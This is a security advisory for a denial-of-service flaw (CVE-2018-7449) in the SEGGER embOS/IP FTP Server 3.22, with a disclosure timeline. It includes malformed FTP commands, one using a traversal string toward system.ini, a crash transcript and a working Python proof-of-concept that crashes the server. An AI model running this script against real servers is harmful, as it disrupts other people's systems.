SEGGER embOS/IP FTP Server 3.22 - Denial of Service

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SEGGER-embOS-FTP-SERVER-v3.22-FTP-COMMANDS-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security          
 


Vendor:
=============
www.segger.com


Product:
===========
embOS/IP FTP Server v3.22


Vulnerability Type:
===================
FTP Commands Denial Of Service



CVE Reference:
==============
CVE-2018-7449


Security Issue:
================
SEGGER embOS/IP FTP Server 3.22 allows remote attackers to cause a denial of service (daemon crash)
via an invalid LIST, STOR, or RETR command.

STOR 666\r\n
LIST\r\n
RETR '+'..\\'*8+'Windows\system.ini\r\n


TELNET x.x.x.x 21

220 Welcome to embOS/IP FTP server
USER anonymous
331 Password required.
PASS anonymous
230 User logged in, proceed.
STOR Bye!

CRASH!!!



Exploit/POC:
=============
import socket,time

VICTIM=raw_input('[+]Segger v3.22 FTP Server IP > ')
USR='anonymous'
PWD='anonymous'
CMD="STOR Bye!\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((VICTIM, 21)) 
print s.recv(1024) # Recieve FTP Banner
time.sleep(1)
s.send("USER " + USR+ "\r\n") 
print s.recv(1024) 
time.sleep(1)
s.send("PASS "+ PWD+"\r\n") #
print s.recv(1024) 
time.sleep(1)
s.send(CMD)
print 'Sent %s' % CMD
s.close() 




Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification:  February 17, 2018
Vendor acknowledgement: February 19, 2018
Vendor released fixed version v3.22a : February 23, 2018
March 1, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).